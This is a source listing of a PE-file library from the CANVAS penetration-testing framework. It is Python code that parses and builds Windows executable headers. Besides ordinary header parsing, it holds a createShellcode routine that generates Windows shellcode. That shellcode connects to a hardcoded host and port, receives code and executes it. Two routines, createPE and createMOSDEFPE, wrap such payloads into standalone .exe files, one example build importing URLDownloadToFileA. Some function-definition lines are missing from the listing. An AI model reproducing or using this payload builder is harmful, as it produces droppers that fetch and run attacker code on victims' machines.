Package Libs ::
Module pelib
|
|
1
2 """
3 (c) Immunity, Inc. 2004-2007
4
5
6 U{Immunity Inc.<http://www.immunityinc.com>} pelib
7
8 Proprietary CANVAS source code - use only under the license agreement
9 specified in LICENSE.txt in your CANVAS distribution
10 Copyright Immunity, Inc, 2002-2007
11 http://www.immunityinc.com/CANVAS/ for more information
12
13 """
14
15 __VERSION__ = '1.0'
16
17 import struct, sys
18
19
20
21
22
23
24 try:
25 import mosdef
26 except ImportError:
27 pass
28 try:
29 from shellcode import shellcodeGenerator
30 except ImportError:
31 pass
32
33 IMAGE_SIZEOF_FILE_HEADER=20
34 MZ_MAGIC = 0x5A4D
35 PE_MAGIC = 0x4550
36 IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
37 IMAGE_ORDINAL_FLAG = 0x80000000L
38
39
40
41
43 tbl=[]
44 tmp=""
45 hex=""
46 i=0
47 for a in buf:
48 hex+="%02X "% ord(a)
49 i+=1
50 if ord(a) >=0x20 and ord(a) <0x7f:
51 tmp+=a
52 else:
53 tmp+="."
54 if i%16 == 0:
55 tbl.append((hex, tmp))
56 hex=""
57 tmp=""
58 tbl.append((hex, tmp))
59 return tbl
60
62 idx= fd.tell()
63 fd.seek(offset)
64 b=f.read(4096*4)
65 zero=b.find("\0")
66 fd.seek(idx)
67 if zero > -1:
68 return b[:zero]
69 return ""
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
95
97
99 self.fmt="<30HL"
100 self.e_magic=0x5A4D
101 self.e_cblp=self.e_cp=self.e_crlc=self.e_cparhdr=self.e_minalloc=self.e_maxalloc = self.e_ss = self.e_sp =\
102 self.e_csum = self.e_ip= self.e_cs = self.e_lfarlc = self.e_ovno = self.e_oemid =\
103 self.e_oeminfo = self.e_res2 =self.e_lfanew = 0
104
105 self.e_res = [0,0,0,0]
106 self.e_res2 = [0,0,0,0,0,0,0,0,0,0]
107
109 return struct.calcsize(self.fmt)
110
111 - def get(self, data):
112 try:
113 buf=struct.unpack(self.fmt, data[:struct.calcsize(self.fmt)])
114 except struct.error:
115 raise PEError, "The header doesn't correspond to a MZ header"
116
117 self.e_magic = buf[0]
118 self.e_cblp = buf[1]
119 self.e_cp = buf[2]
120 self.e_crlc = buf[3]
121 self.e_cparhdr = buf[4]
122 self.e_minalloc = buf[5]
123 self.e_maxalloc = buf[6]
124 self.e_ss = buf[7]
125 self.e_sp = buf[8]
126 self.e_csum = buf[9]
127 self.e_ip = buf[10]
128 self.e_cs = buf[11]
129 self.e_lfarlc = buf[12]
130 self.e_ovno = buf[13]
131 self.e_res = buf[14:18]
132 self.e_oemid = buf[18]
133 self.e_oeminfo = buf[19]
134 self.e_res2 = buf[20:30]
135 self.e_lfanew = buf[30]
136
137 if self.e_magic != MZ_MAGIC:
138 raise PEError, "The header doesn't correspond to a MZ header"
139
141 return struct.pack(self.fmt, self.e_magic, self.e_cblp, self.e_cp,\
142 self.e_crlc, self.e_cparhdr, self.e_minalloc,\
143 self.e_maxalloc, self.e_ss, self.e_sp, self.e_csum,\
144 self.e_ip, self.e_cs, self.e_lfarlc, self.e_ovno, \
145 self.e_res[0],self.e_res[1],self.e_res[2],self.e_res[3],\
146 self.e_oemid, self.e_oeminfo,\
147 self.e_res2[0], self.e_res2[1], self.e_res2[2], self.e_res2[3],\
148 self.e_res2[4], self.e_res2[5], self.e_res2[6], self.e_res2[7],
149 self.e_res2[8], self.e_res2[9], self.e_lfanew)
150
151
154
157 self.fmt = "<H"
158 self.Hint=0
159 self.Name=""
160
161 - def get(self, data):
162 self.Hint = struct.unpack(self.fmt, data[:2])[0]
163 ndx = data[2:].find("\0")
164 if ndx == -1:
165 raise PEError, "No string found on ImageImportByName"
166 self.Name = data[2:2+ndx]
167
169 return len(self.Name) +3
170
172 return struct.pack(self.fmt, self.Hint) + self.Name + "\0"
173
176 self.fmt= "<LLLLL"
177 self.OriginalFirstThunk= self.TimeDateStamp= self.ForwarderChain= self.Name=\
178 self.FirstThunk=0
179 self.sName =""
180 self.Imports={}
181
182 - def get(self, data):
183 (self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\
184 self.FirstThunk) = struct.unpack(self.fmt, data)
185
188
190 self.Imports[name] = obj
191
193 return struct.pack(self.fmt, self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name,\
194 self.FirstThunk)
195
197 return struct.calcsize(self.fmt)
198
199
200
201
202
203
204
206
208 self.VirtualAddress = self.Size = 0
209
210 - def get(self, data):
211 (self.VirtualAddress, self.Size) = struct.unpack("2L", data)
212
214 return struct.pack("2L", self.VirtualAddress, self.Size)
215
218
219
220
221
222
223
224
225
226
227
228
229
230
231
234 self.fmt = "<2L2H7L"
235 self.Characteristics = self.TimeDateStamp = self.MajorVersion = self.MinorVersion = self.Name = self.Base=\
236 self.NumberOfFunctions = self.NumberOfNames = self.AddressOfFunctions = self.AddressOfNames = \
237 self.AddressOfNameOrdinals = 0
238 self.sName=""
239
242
244 return struct.calcsize(self.fmt)
245
246 - def get(self, data):
247 (self.Characteristics, self.TimeDateStamp, self.MajorVersion, self.MinorVersion, self.Name, self.Base,\
248 self.NumberOfFunctions, self.NumberOfNames, self.AddressOfFunctions, self.AddressOfNames, \
249 self.AddressOfNameOrdinals) = struct.unpack(self.fmt, data)
250
252 return struct.pack(self.fmt, self.Characteristics, self.TimeDateStamp, self.MajorVersion, self.MinorVersion, self.Name, self.Base,\
253 self.NumberOfFunctions, self.NumberOfNames, self.AddressOfFunctions, self.AddressOfNames, \
254 self.AddressOfNameOrdinals)
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
278 self.fmt="<LLLLLLHHL"
279 self.Name=""
280 self.VirtualSize = self.VirtualAddress = self.SizeOfRawData = self.PointerToRawData =\
281 self.PointerToRelocations = self.PointerToLinenumbers=\
282 self.NumberOfRelocations = self.NumberOfLinenumbers =\
283 self.Characteristics = 0
284
286 return struct.calcsize(self.fmt) + 8
287
288 - def has(self, rva, imagebase=0):
289 return rva >= (self.VirtualAddress+imagebase) and rva < (self.VirtualAddress+self.VirtualSize+imagebase)
290
292 return offset >= self.PointerToRawData and offset < (self.PointerToRawData + self.VirtualSize)
293
294
295 - def get(self, data):
296 idx=0
297
298 self.Name=data[idx:idx+8]
299 idx+=8
300
301 (self.VirtualSize, self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData ,\
302 self.PointerToRelocations, self.PointerToLinenumbers,\
303 self.NumberOfRelocations, self.NumberOfLinenumbers,\
304 self.Characteristics)= \
305 struct.unpack(self.fmt, data[idx:])
306
308 self.Name = (self.Name + "\x00" * (8-len(self.Name)))[:8]
309 return self.Name + struct.pack(self.fmt, self.VirtualSize, \
310 self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData,\
311 self.PointerToRelocations, self.PointerToLinenumbers,\
312 self.NumberOfRelocations, self.NumberOfLinenumbers,\
313 self.Characteristics)
314
315
316
317
318
319
320
321
322
323
324
325
326
327
330 self.imagefmt= "<2H3L2H"
331 (self.Machine,\
332 self.NumberOfSections,\
333 self.TimeDateStamp,\
334 self.PointerToSymbolTable,\
335 self.NumberOfSymbols,\
336 self.SizeOfOptionalHeader,\
337 self.Characteristics)= (0,0,0,0,0,0xe0,0)
338
339 - def get(self, data):
340 try:
341 (self.Machine,\
342 self.NumberOfSections,\
343 self.TimeDateStamp,\
344 self.PointerToSymbolTable,\
345 self.NumberOfSymbols,\
346 self.SizeOfOptionalHeader,\
347 self.Characteristics)=struct.unpack(self.imagefmt, data)
348 except struct.error:
349 raise PEError, "Invalid IMAGE header" % self.signature
350
352 return struct.calcsize(self.imagefmt)
353
355 try:
356 return struct.pack(self.imagefmt,self.Machine,\
357 self.NumberOfSections,\
358 self.TimeDateStamp,\
359 self.PointerToSymbolTable,\
360 self.NumberOfSymbols,\
361 self.SizeOfOptionalHeader,\
362 self.Characteristics)
363 except struct.error:
364 raise PEError, "Image not initialized" % self.signature
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
409 self.optionalfmt="<HBB9L6H4L2H6L"
410 self.Magic=0x010b
411 self.MajorLinkerVersion = self.MinorLinkerVersion = self.SizeOfCode =\
412 self.SizeOfInitializedData = self.SizeOfUninitializedData = self.AddressOfEntryPoint =\
413 self.BaseOfCode = self.BaseOfData = self.ImageBase = self.SectionAlignment = self.FileAlignment =\
414 self.MajorOperatingSystemVersion = self.MinorOperatingSystemVersion = self.MajorImageVersion =\
415 self.MinorImageVersion = self.MajorSubsystemVersion = self.MinorSubsystemVersion =\
416 self.Reserved1 = self.SizeOfImage = self.SizeOfHeaders = self.CheckSum = self.Subsystem =\
417 self.DllCharacteristics = self.SizeOfStackReserve = self.SizeOfStackCommit = self.SizeOfHeapReserve=\
418 self.SizeOfHeapCommit = self.LoaderFlags = self.NumberOfRvaAndSizes =0
419
421 return struct.calcsize(self.optionalfmt)
422
424 return "self.Magic %08x,\
425 self.MajorLinkerVersion %08x,\
426 self.MinorLinkerVersion %08x,\
427 self.SizeOfCode %08x,\
428 self.SizeOfInitializedData %08x,\
429 self.SizeOfUninitializedData %08x,\
430 self.AddressOfEntryPoint %08x,\
431 self.BaseOfCode %08x,\
432 self.BaseOfData %08x,\
433 self.ImageBase %08x,\
434 self.SectionAlignment %08x,\
435 self.FileAlignment %08x,\
436 self.MajorOperatingSystemVersion %08x,\
437 self.MinorOperatingSystemVersion %08x,\
438 self.MajorImageVersion %08x,\
439 self.MinorImageVersion %08x,\
440 self.MajorSubsystemVersion %08x,\
441 self.MinorSubsystemVersion %08x,\
442 self.Reserved1 %08x,\
443 self.SizeOfImage %08x,\
444 self.SizeOfHeaders %08x,\
445 self.CheckSum %08x,\
446 self.Subsystem %08x,\
447 self.DllCharacteristics %08x,\
448 self.SizeOfStackReserve %08x,\
449 self.SizeOfStackCommit %08x,\
450 self.SizeOfHeapReserve %08x,\
451 self.SizeOfHeapCommit %08x,\
452 self.LoaderFlags %08x,\
453 self.NumberOfRvaAndSizes %08x" % \
454 (self.Magic,\
455 self.MajorLinkerVersion,\
456 self.MinorLinkerVersion,\
457 self.SizeOfCode,\
458 self.SizeOfInitializedData,\
459 self.SizeOfUninitializedData,\
460 self.AddressOfEntryPoint,\
461 self.BaseOfCode,\
462 self.BaseOfData,\
463 self.ImageBase,\
464 self.SectionAlignment,\
465 self.FileAlignment,\
466 self.MajorOperatingSystemVersion,\
467 self.MinorOperatingSystemVersion,\
468 self.MajorImageVersion,\
469 self.MinorImageVersion,\
470 self.MajorSubsystemVersion,\
471 self.MinorSubsystemVersion,\
472 self.Reserved1,\
473 self.SizeOfImage,\
474 self.SizeOfHeaders,\
475 self.CheckSum,\
476 self.Subsystem,\
477 self.DllCharacteristics,\
478 self.SizeOfStackReserve,\
479 self.SizeOfStackCommit,\
480 self.SizeOfHeapReserve,\
481 self.SizeOfHeapCommit,\
482 self.LoaderFlags,\
483 self.NumberOfRvaAndSizes )
484
485 - def get(self, data):
486 try:
487 (self.Magic,\
488 self.MajorLinkerVersion,\
489 self.MinorLinkerVersion,\
490 self.SizeOfCode,\
491 self.SizeOfInitializedData,\
492 self.SizeOfUninitializedData,\
493 self.AddressOfEntryPoint,\
494 self.BaseOfCode,\
495 self.BaseOfData,\
496 self.ImageBase,\
497 self.SectionAlignment,\
498 self.FileAlignment,\
499 self.MajorOperatingSystemVersion,\
500 self.MinorOperatingSystemVersion,\
501 self.MajorImageVersion,\
502 self.MinorImageVersion,\
503 self.MajorSubsystemVersion,\
504 self.MinorSubsystemVersion,\
505 self.Reserved1,\
506 self.SizeOfImage,\
507 self.SizeOfHeaders,\
508 self.CheckSum,\
509 self.Subsystem,\
510 self.DllCharacteristics,\
511 self.SizeOfStackReserve,\
512 self.SizeOfStackCommit,\
513 self.SizeOfHeapReserve,\
514 self.SizeOfHeapCommit,\
515 self.LoaderFlags,\
516 self.NumberOfRvaAndSizes )= struct.unpack(self.optionalfmt, data)
517 except struct.error:
518 raise PEError, "Invalid Optional Header" % self.signature
519
521 try:
522 return struct.pack(self.optionalfmt, self.Magic,\
523 self.MajorLinkerVersion,\
524 self.MinorLinkerVersion,\
525 self.SizeOfCode,\
526 self.SizeOfInitializedData,\
527 self.SizeOfUninitializedData,\
528 self.AddressOfEntryPoint,\
529 self.BaseOfCode,\
530 self.BaseOfData,\
531 self.ImageBase,\
532 self.SectionAlignment,\
533 self.FileAlignment,\
534 self.MajorOperatingSystemVersion,\
535 self.MinorOperatingSystemVersion,\
536 self.MajorImageVersion,\
537 self.MinorImageVersion,\
538 self.MajorSubsystemVersion,\
539 self.MinorSubsystemVersion,\
540 self.Reserved1,\
541 self.SizeOfImage,\
542 self.SizeOfHeaders,\
543 self.CheckSum,\
544 self.Subsystem,\
545 self.DllCharacteristics,\
546 self.SizeOfStackReserve,\
547 self.SizeOfStackCommit,\
548 self.SizeOfHeapReserve,\
549 self.SizeOfHeapCommit,\
550 self.LoaderFlags,\
551 self.NumberOfRvaAndSizes )
552
553 except struct.error:
554 raise PEError, "Invalid Optional Header" % self.signature
555
558
559 self.Directories=[]
560 self.Sections={}
561 self.Imports={}
562
563 - def get(self, data, offset2PE):
598
599
600
601
602
603
604
605
607 idx = 0
608 for a in range(0, self.IMGhdr.NumberOfSections):
609 sec= Section()
610 sec.get(data[idx:idx+sec.getSize()])
611 idx+=sec.getSize()
612 self.Sections[sec.Name] = sec
613
614 return idx+ sec.getSize()
615
650
652 for a in self.Imports.keys():
653 im = self.Imports[a]
654
655 for b in im.Imports.keys():
656 print a, ":",b
657
659 print "Name VirtulAddress PointerToRawData"
660 for a in self.Sections.keys():
661 print a, hex(self.Sections[a].VirtualAddress), hex(self.Sections[a].PointerToRawData), hex(self.Sections[a].SizeOfRawData )
662
663
665 offset=self.getOffsetFromRVA(rva)
666 end= data[offset:].find("\0")
667 if end ==-1:
668 return ""
669 return data[offset:offset+end]
670
672 sec=None
673 for a in self.Sections.keys():
674 if self.Sections[a].has(rva, imagebase):
675 sec=self.Sections[a]
676 if sec:
677 return (rva -sec.VirtualAddress -imagebase )+ sec.PointerToRawData
678 return ""
679
681 sec = None
682 for a in self.Sections.keys():
683 if self.Sections[a].hasOffset(offset):
684 sec=self.Sections[a]
685 if sec:
686 return (offset -sec.PointerToRawData)+ sec.VirtualAddress+imagebase
687 return ""
688
695
697 for a in self.Directories:
698 print "%08x %08x " % (a.VirtualAddress, a.Size)
699
701 offset=self.getOffsetFromRVA(rva)
702 if not offset:
703
704 return ""
705 em = ImageExportDirectory()
706 em.get(data[offset:offset+ em.getSize()])
707 em.setName( self.getString(data, em.Name))
708 addrofnames = self.getOffsetFromRVA(em.AddressOfNames)
709 addroforidnal = self.getOffsetFromRVA(em.AddressOfNameOrdinals)
710 eat = self.getOffsetFromRVA(em.AddressOfFunctions)
711
712 for a in range(0, em.NumberOfNames):
713 nameaddr = struct.unpack("L", data[ addrofnames : addrofnames+4 ])[0]
714 ordinal = struct.unpack("H", data[ addroforidnal : addroforidnal+2 ])[0]
715 address = struct.unpack("L", data[ eat +ordinal*4 : eat +ordinal*4+4 ])[0]
716
717 try:
718 name = self.getString(data, nameaddr)
719 except TypeError, msg:
720 print "Error on Export Table %s" % str(msg)
721 break
722 print "0x%08x (0x%08x): %s" % (self.IMGOPThdr.ImageBase + address, address, name)
723 addrofnames +=4
724 addroforidnal+=2
725
726
727
728
729
730
731
732
733
734
735
739
741 self.rawdata = data
742 self._openPE()
743
745 self.fd = open(filename, "rb")
746 self.filename = filename
747 self.rawdata = self.fd.read()
748
749
750 self._openPE()
751
752
754
755 localhost = "192.168.1.103"
756 localport = 8090
757
758 sc = shellcodeGenerator.win32()
759 sc.addAttr("findeipnoesp",{"subespval": 0x1000 })
760 sc.addAttr("revert_to_self_before_importing_ws2_32", None)
761 sc.addAttr("tcpconnect", {"port" : localport, "ipaddress" : localhost})
762 sc.addAttr("RecvExecWin32",{"socketreg": "FDSPOT"})
763 sc.addAttr("ExitThread", None)
764 injectme = sc.get()
765
766 sc = shellcodeGenerator.win32()
767 sc.addAttr("findeipnoesp", {"subespval": 0})
768 sc.addAttr("InjectToSelf", { "injectme" : injectme })
769 sc.addAttr("ExitThread", None)
770 return sc.get()
771
772 - def align(self, idx, aligment):
773 return (idx +aligment) & ~(aligment-1)
774
781
782 - def createPE(self, filename, shellcode, importante = [ ("advapi32.dll", ["RevertToSelf"])] ):
783
784 buf = self.createPEFileBuf(shellcode, importante)
785
786 f=open(filename, "wb")
787 f.write(buf)
788 f.close()
789
790
791 - def createPEFileBuf(self, shellcode, importante = [ ("advapi32.dll", ["RevertToSelf"])] ):
792
793 idx= 0
794
795 mz = MZ()
796 mz.e_lfanew = mz.getSize()
797
798 idx+= mz.getSize()
799
800
801 imgHdr = IMGhdr()
802 imgHdr.Machine = 0x014c
803 imgHdr.NumberOfSections = 0x2
804 imgHdr.Characteristics = 0x0102
805
806 idx += imgHdr.getSize() + 4
807
808
809 imgOpt = IMGOPThdr()
810 imgOpt.SectionAlignment = 0x20
811 imgOpt.FileAlignment = 0x20
812 imgOpt.MajorOperatingSystemVersion = 0x4
813 imgOpt.MajorSubsystemVersion = 0x4
814 imgOpt.Subsystem = 0x3
815 imgOpt.SizeOfStackReserve = 0x100000
816 imgOpt.SizeOfStackCommit = 0x1000
817 imgOpt.SizeOfHeapReserve = 0x100000
818 imgOpt.SizeOfHeapCommit = 0x1000
819 imgOpt.NumberOfRvaAndSizes= 0x10
820
821 idx += imgOpt.getSize()
822
823
824 directories=[]
825 for a in range(0, imgOpt.NumberOfRvaAndSizes):
826 directories.append(Directory())
827
828 idx+= directories[0].getSize() * 16
829
830
831 code = Section()
832 code.Name = ".text"
833 code.Characteristics = 0x60000020L
834 idx+= code.getSize()
835
836
837 data = Section()
838 data.Name = ".data"
839 data.Characteristics = 0xc0000040L
840
841 idx += data.getSize()
842
843 code_offset = self.align(idx, imgOpt.FileAlignment)
844 firstpad= "\0" * (code_offset - idx)
845 idx=code_offset
846
847
848 idx+= len(shellcode)
849 data_offset = self.align(idx, imgOpt.FileAlignment)
850 secondpad= "\0" * (data_offset - idx)
851 idx = data_offset
852 data_buf =""
853 idx+= len(data_buf)
854
855
856 import_offset =idx
857 imports=[]
858 ndx= 0
859 import_str=""
860
861 for a in importante:
862 i= ImportDescriptor()
863 i.ForwarderChain= 0xFFFFFFFFL
864 imports.append( (i, ndx))
865
866 ndx+=len(a[0]+"\0")
867
868
869 import_str += a[0] + "\0"
870
871
872 imports.append((ImportDescriptor(), 0))
873 idx+= i.getSize() * len(imports)
874
875 import_str_offset = idx
876 idx+= len(import_str)
877
878 off = self.align(idx, imgOpt.FileAlignment)
879 import_str+="\0" * (off-idx)
880 idx = off
881
882
883 original_thunks_offset = idx
884 original_thunk=[]
885 for a in importante:
886 original_thunk.append(idx)
887 idx+= len(a[1]) * 4 + 4
888
889
890 first_thunks_offset = idx
891 first_thunk=[]
892 for a in importante:
893 first_thunk.append(idx)
894 idx+= len(a[1]) * 4 + 4
895
896
897 IIBN=[]
898 for a in importante:
899 tbl=[]
900 IIBN.append(tbl)
901 for b in a[1]:
902 iibn = ImageImportByName()
903 iibn.Name = b
904 iibn.Hint = 1
905 tbl.append((iibn, idx))
906 idx+=iibn.getSize()
907
908 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx)
909
910
911 imgOpt.SizeOfCode = len(shellcode) + len(secondpad)
912 imgOpt.BaseOfCode = imgOpt.AddressOfEntryPoint = code_offset
913 imgOpt.BaseOfData = data_offset
914 imgOpt.ImageBase = 0x40000
915 imgOpt.SizeOfInitializedData = 0x20
916 imgOpt.SizeOfImage = 0xc
917
918 imgOpt.SizeOfHeaders = code_offset
919 imgOpt.NumberOfRvaAndSizes = 0x10
920
921
922
923 directories[1].VirtualSize=directories[1].Size = idx - import_offset
924 directories[1].VirtualAddress= import_offset
925
926
927 code.VirtualAddress = code_offset
928 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode
929 code.PointerToRawData = code_offset
930
931 data.VirtualAddress = data_offset
932 data.VirtualSize = data.SizeOfRawData = idx - data_offset
933 data.PointerToRawData = data_offset
934
935 imgOpt.SizeOfImage = idx
936
937
938 for a in range(0, len(imports)-1):
939 imports[a][0].OriginalFirstThunk= original_thunk[a]
940 imports[a][0].FirstThunk= first_thunk[a]
941 imports[a][0].Name = import_str_offset + imports[a][1]
942
943
944
945 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw()
946 for a in directories:
947 buf+= a.raw()
948 buf+= code.raw()
949 buf+= data.raw()
950 buf+= firstpad
951 buf+= shellcode
952 buf+= secondpad
953 buf+= data_buf
954
955 for a in imports:
956 buf+= a[0].raw()
957 buf+= import_str
958
959
960 for a in IIBN:
961 for b in a:
962 buf+=struct.pack("L",b[1])
963 buf+=struct.pack("L",0x0)
964
965
966 for a in IIBN:
967 for b in a:
968 buf+=struct.pack("L",b[1])
969 buf+=struct.pack("L",0x0)
970
971
972 for a in IIBN:
973 for b in a:
974 buf+= b[0].raw()
975 buf+= endpad
976
977 return buf
978
979
980
982 from win32peresolver import win32peresolver
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019 image_base = 0x40000
1020 plt_len = len(mosdef.assemble("jmp *(0x01020304)", "X86"))
1021 plt_entry = 0x1A0 + image_base
1022
1023 w=win32peresolver(plt_entry)
1024 w.setPLTEntrySize(plt_len)
1025
1026 shellcode = w.compile(code, vars)
1027
1028
1029
1030 dll={}
1031 func_by_addr = {}
1032 functions_num=0
1033
1034
1035 for a in w.remotefunctioncache.keys():
1036 s = a.split("|")
1037 if dll.has_key( s[0] ):
1038 dll[s[0] ].append(s[1])
1039 else:
1040 dll[ s[0] ] = [ s[1] ]
1041 functions_num+=1
1042 func_by_addr[a] = w.remotefunctioncache[a]
1043
1044 importante = []
1045 for a in dll.keys():
1046 importante.append( (a, dll[a]) )
1047 shellcode = "\x90" * ( plt_len * functions_num) + shellcode
1048
1049
1050
1051
1052
1053
1054 idx= 0
1055
1056 mz = MZ()
1057 mz.e_lfanew = mz.getSize()
1058
1059 idx+= mz.getSize()
1060
1061
1062 imgHdr = IMGhdr()
1063 imgHdr.Machine = 0x014c
1064 imgHdr.NumberOfSections = 0x2
1065 imgHdr.Characteristics = 0x0102
1066
1067 idx += imgHdr.getSize() + 4
1068
1069
1070 imgOpt = IMGOPThdr()
1071 imgOpt.SectionAlignment = 0x20
1072 imgOpt.FileAlignment = 0x20
1073 imgOpt.MajorOperatingSystemVersion = 0x4
1074 imgOpt.MajorSubsystemVersion = 0x4
1075 imgOpt.Subsystem = 0x3
1076 imgOpt.SizeOfStackReserve = 0x100000
1077 imgOpt.SizeOfStackCommit = 0x1000
1078 imgOpt.SizeOfHeapReserve = 0x100000
1079 imgOpt.SizeOfHeapCommit = 0x1000
1080 imgOpt.NumberOfRvaAndSizes= 0x10
1081
1082 idx += imgOpt.getSize()
1083
1084
1085 directories=[]
1086 for a in range(0, imgOpt.NumberOfRvaAndSizes):
1087 directories.append(Directory())
1088
1089 idx+= directories[0].getSize() * 16
1090
1091
1092 code = Section()
1093 code.Name = ".text"
1094 code.Characteristics = 0x60000020L
1095 idx+= code.getSize()
1096
1097
1098 data = Section()
1099 data.Name = ".data"
1100 data.Characteristics = 0xc0000040L
1101
1102 idx += data.getSize()
1103
1104 code_offset = self.align(idx, imgOpt.FileAlignment)
1105 firstpad= "\0" * (code_offset - idx)
1106 idx=code_offset
1107
1108
1109 idx+= len(shellcode)
1110 data_offset = self.align(idx, imgOpt.FileAlignment)
1111 secondpad= "\0" * (data_offset - idx)
1112 idx = data_offset
1113 data_buf =""
1114 idx+= len(data_buf)
1115
1116
1117 import_offset =idx
1118 imports=[]
1119 ndx= 0
1120 import_str=""
1121
1122 for a in importante:
1123 i= ImportDescriptor()
1124 i.ForwarderChain= 0xFFFFFFFFL
1125 imports.append( (i, ndx))
1126
1127 ndx+=len(a[0]+"\0")
1128
1129
1130 import_str += a[0] + "\0"
1131
1132
1133 imports.append((ImportDescriptor(), 0))
1134 idx+= i.getSize() * len(imports)
1135
1136 import_str_offset = idx
1137 idx+= len(import_str)
1138
1139 off = self.align(idx, imgOpt.FileAlignment)
1140 import_str+="\0" * (off-idx)
1141 idx = off
1142
1143
1144 original_thunks_offset = idx
1145 original_thunk=[]
1146
1147 for a in importante:
1148 original_thunk.append(idx)
1149
1150 idx+= len(a[1]) * 4 + 4
1151
1152
1153 first_thunks_offset = idx
1154 first_thunk=[]
1155 plt_ndx = 0x1A0
1156 for a in importante:
1157 first_thunk.append(idx)
1158 for b in a[1]:
1159 dupla = "%s|%s" % (a[0], b)
1160
1161 if not func_by_addr.has_key(dupla):
1162 raise PEError, "Error on Thunk"
1163 func_by_addr[ func_by_addr[dupla] ] = "jmp *(0x%08x)\n" % (idx+ image_base)
1164 idx+=4
1165 idx+= 4
1166
1167 PLT=""
1168 for a in range(plt_entry, plt_entry+ plt_len* functions_num, plt_len):
1169 if not func_by_addr.has_key(a):
1170 raise PEError, "func_by_addr doesn't have a PLT address (%x)" % a
1171 PLT+= mosdef.assemble(func_by_addr[a], "X86")
1172 shellcode = PLT + shellcode[plt_len* functions_num:]
1173 print "Shellcode size (with PLT): %d" % len(shellcode)
1174
1175
1176
1177 IIBN=[]
1178 for a in importante:
1179 tbl=[]
1180 IIBN.append(tbl)
1181 for b in a[1]:
1182 iibn = ImageImportByName()
1183 iibn.Name = b
1184 iibn.Hint = 1
1185 tbl.append((iibn, idx))
1186 idx+=iibn.getSize()
1187
1188 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx)
1189
1190
1191 imgOpt.SizeOfCode = len(shellcode) + len(secondpad)
1192 imgOpt.BaseOfCode = code_offset
1193
1194 imgOpt.AddressOfEntryPoint = code_offset + plt_len * functions_num
1195
1196 imgOpt.BaseOfData = data_offset
1197 imgOpt.ImageBase = image_base
1198 imgOpt.SizeOfInitializedData = 0x20
1199 imgOpt.SizeOfImage = 0xC
1200
1201 imgOpt.SizeOfHeaders = code_offset
1202 imgOpt.NumberOfRvaAndSizes = 0x10
1203
1204
1205
1206 directories[1].VirtualSize=directories[1].Size = idx - import_offset
1207 directories[1].VirtualAddress= import_offset
1208
1209
1210 code.VirtualAddress = code_offset
1211 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode
1212 code.PointerToRawData = code_offset
1213
1214 data.VirtualAddress = data_offset
1215 data.VirtualSize = data.SizeOfRawData = idx - data_offset
1216 data.PointerToRawData = data_offset
1217
1218 imgOpt.SizeOfImage = idx
1219
1220
1221 for a in range(0, len(imports)-1):
1222 imports[a][0].OriginalFirstThunk= original_thunk[a]
1223 imports[a][0].FirstThunk= first_thunk[a]
1224 imports[a][0].Name = import_str_offset + imports[a][1]
1225
1226
1227
1228 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw()
1229 for a in directories:
1230 buf+= a.raw()
1231 buf+= code.raw()
1232 buf+= data.raw()
1233 buf+= firstpad
1234 buf+= shellcode
1235 buf+= secondpad
1236 buf+= data_buf
1237
1238 for a in imports:
1239 buf+= a[0].raw()
1240 buf+= import_str
1241
1242
1243 for a in IIBN:
1244 for b in a:
1245 buf+=struct.pack("L",b[1])
1246 buf+=struct.pack("L",0x0)
1247
1248
1249 for a in IIBN:
1250 for b in a:
1251 buf+=struct.pack("L",b[1])
1252 buf+=struct.pack("L",0x0)
1253
1254
1255 for a in IIBN:
1256 for b in a:
1257 buf+= b[0].raw()
1258 buf+= endpad
1259
1260
1261 f=open(filename, "wb")
1262 f.write(buf)
1263 f.close()
1264 return len(buf)
1265
1267 print "usage: %s -f <file> [-O -W]" % name
1268 print "\t -O inspect the file given by -f"
1269 print "\t -W create a .exe using createShellcode"
1270 print "\t -E create a .exe using MOSDEF code"
1271 sys.exit(0)
1272
1273 if __name__ == "__main__":
1274 import getopt, sys
1275 args= sys.argv[1:]
1276 OPEN = 0x1
1277 WRITE = 0x2
1278 EXAMPLE = 0x3
1279 p=PElib()
1280
1281 what=0
1282 file=""
1283 try:
1284 opts, args = getopt.getopt(args, "f:OWE")
1285 except:
1286 print "Error in Arguments"
1287 usage(sys.argv[0])
1288 for o,a in opts:
1289 if o == '-f':
1290 file=a
1291 if o == '-O':
1292 what =OPEN
1293 if o == '-W':
1294 what = WRITE
1295 if o == '-E':
1296 what = EXAMPLE
1297 if file:
1298 if what == OPEN:
1299 p.openfile(file)
1300 elif what == WRITE:
1301 shellcode=p.createShellcode()
1302 imports = [ ("advapi32.dll", ["RevertToSelf", "AccessCheck"]), ("urlmon.dll", ["URLDownloadToFileA", "FindMediaType" ]) ]
1303
1304 p.createPE(file, shellcode, imports)
1305
1306 elif what == EXAMPLE:
1307 vars={}
1308 vars["filename"]="boo"
1309
1310 code="""
1311 //start of code
1312 #import "remote", "kernel32.dll|GetProcAddress" as "getprocaddress"
1313 #import "remote", "kernel32.dll|RemoveDirectoryA" as "RemoveDirectory"
1314 #import "remote", "kernel32.dll|ExitProcess" as "exit"
1315 #import "string", "filename" as "filename"
1316
1317 void main()
1318 {
1319 int i;
1320 i = RemoveDirectory(filename);
1321 i = exit(0);
1322 }
1323 """
1324
1325
1326 p.createMOSDEFPE(file, code, vars)
1327
1328 else:
1329 usage(sys.argv[0])
1330 else:
1331
1332 usage(sys.argv[0])
1333
1334
1335
1336